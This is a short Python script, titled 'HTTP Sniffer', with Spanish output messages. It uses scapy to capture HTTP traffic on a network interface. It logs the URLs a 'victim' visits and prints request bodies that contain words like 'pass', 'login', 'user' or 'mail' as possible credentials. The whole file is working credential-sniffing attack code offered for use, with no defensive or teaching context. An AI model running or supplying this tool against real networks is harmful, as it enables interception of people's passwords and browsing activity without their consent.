HTTP Sniffer - Python

import scapy.all as scapy
import signal
import sys
from scapy.layers import http
from termcolor import colored


def def_handler(sig,frame):
  print(colored(f"\n[!] Saliendo...\n", 'red'))
  sys.exit(1)

signal.signal(signal.SIGINT, def_handler) 

def process_packet(packet): 
  cred_keywords=["pass", "login","user","mail"] 

  if packet.haslayer(http.HTTPRequest): 
    url= "http://" + packet[http.HTTPRequest].Host.decode() + packet[http.HTTPRequest].Path.decode() 
    print(colored(f"[+] URL viistada por la vĂ­ctima: {url}", 'blue'))

    if packet.haslayer(scapy.Raw): 
      try:
        response=packet[scapy.Raw].load.decode()
        for keyword in cred_keywords: 
          if keyword in response: 
            print(colored(f"\n[+] Posibles credenciales: {response}","green"))
            break
      except:
        pass


def sniff(interface):
  scapy.sniff(iface=interface, prn=process_packet, store=0)


def main():
  sniff("ens33")


if __name__ == '__main__':
  main()